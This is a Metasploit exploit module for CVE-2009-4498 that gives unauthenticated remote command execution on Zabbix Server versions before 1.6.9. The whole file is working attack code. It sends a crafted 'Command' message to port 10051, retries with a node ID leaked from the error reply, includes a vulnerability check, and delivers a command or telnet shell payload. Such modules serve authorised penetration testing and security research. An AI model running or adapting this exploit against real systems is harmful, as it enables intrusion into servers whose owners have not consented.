1
# encoding: binary
2

3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7

8
class MetasploitModule < Msf::Exploit::Remote
9
  Rank = ExcellentRanking
10

11
  include Msf::Exploit::Remote::Tcp
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'Zabbix Server Arbitrary Command Execution',
18
        'Description' => %q{
19
          This module abuses the "Command" trap in Zabbix Server to execute arbitrary
20
          commands without authentication. By default the Node ID "0" is used, if it doesn't
21
          work, the Node ID is leaked from the error message and exploitation retried.
22

23
          According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
24
          has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
25
        },
26
        'Author' => [
27
          'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
28
          'juan vazquez' # Metasploit module
29
        ],
30
        'License' => MSF_LICENSE,
31
        'References' => [
32
          [ 'CVE', '2009-4498' ],
33
          [ 'OSVDB', '60965' ],
34
          [ 'BID', '37989' ],
35
          [ 'EDB', '10432' ],
36
          [ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
37
        ],
38
        'Platform' => ['unix'],
39
        'Arch' => ARCH_CMD,
40
        'Privileged' => false,
41
        'Payload' => {
42
          'DisableNops' => true,
43
          'Compat' =>
44
                        {
45
                          'PayloadType' => 'cmd',
46
                          'RequiredCmd' => 'generic telnet',
47
                          # *_perl, *_python and *_ruby work if they are installed
48
                        }
49
        },
50
        'Targets' => [
51
          [ 'Zabbix 1.6.7', {} ]
52
        ],
53
        'DefaultTarget' => 0,
54
        'DisclosureDate' => 'Sep 10 2009',
55
        'Notes' => {
56
          'Reliability' => UNKNOWN_RELIABILITY,
57
          'Stability' => UNKNOWN_STABILITY,
58
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
        }
60
      )
61
    )
62

63
    register_options(
64
      [
65
        Opt::RPORT(10051),
66
      ]
67
    )
68
  end
69

70
  def send_command(sock, node_id, cmd)
71
    host_id = Rex::Text.rand_text_numeric(3)
72
    msg = "Command\255"
73
    msg << "#{node_id}\255"
74
    msg << "#{host_id}\255"
75
    msg << "#{cmd}\n"
76
    sock.put(msg)
77
    res = sock.get_once
78
    return res
79
  end
80

81
  def check
82
    peer = "#{rhost}:#{rport}"
83
    node_id = 0
84
    clue = Rex::Text.rand_text_alpha(rand(5) + 5)
85
    cmd = "echo #{clue}"
86

87
    connect
88
    vprint_status("Sending 'Command' request...")
89
    res = send_command(sock, node_id, cmd)
90
    disconnect
91

92
    if res
93
      vprint_status(res)
94
      if res =~ /#{clue}/
95
        return Exploit::CheckCode::Vulnerable
96
      elsif res =~ /-1/ and res =~ /NODE (\d*)/
97
        node_id = $1
98
        vprint_good("Node ID #{node_id} discovered")
99
      else
100
        return Exploit::CheckCode::Safe
101
      end
102
    else # No response
103
      return Exploit::CheckCode::Safe
104
    end
105

106
    # Retry with the good node_id
107
    connect
108
    vprint_status("Sending 'Command' request with discovered Node ID...")
109
    res = send_command(sock, node_id, cmd)
110
    disconnect
111
    if res and res =~ /#{clue}/
112
      return Exploit::CheckCode::Vulnerable
113
    end
114

115
    return Exploit::CheckCode::Safe
116
  end
117

118
  def exploit
119
    peer = "#{rhost}:#{rport}"
120
    node_id = 0
121
    cmd = payload.encoded
122

123
    connect
124
    print_status("Sending 'Command' request...")
125
    res = send_command(sock, node_id, cmd)
126
    disconnect
127

128
    if res and res =~ /-1/ and res =~ /NODE (\d*)/
129
      # Retry with the good node_id
130
      node_id = $1
131
      print_good("Node ID #{node_id} discovered")
132
      connect
133
      print_status("Sending 'Command' request with discovered Node ID...")
134
      res = send_command(sock, node_id, cmd)
135
      disconnect
136
    end
137

138
    # Read command output from socket if cmd/unix/generic payload was used
139
    if (datastore['CMD'])
140
      if res and res =~ /\x30\xad/
141
        print_good("Command executed successfully")
142
        print_status("Output:\n#{res.split("\x30\xad").last}")
143
      else
144
        print_error("Failed to execute the command")
145
      end
146
    end
147
  end
148
end
149

150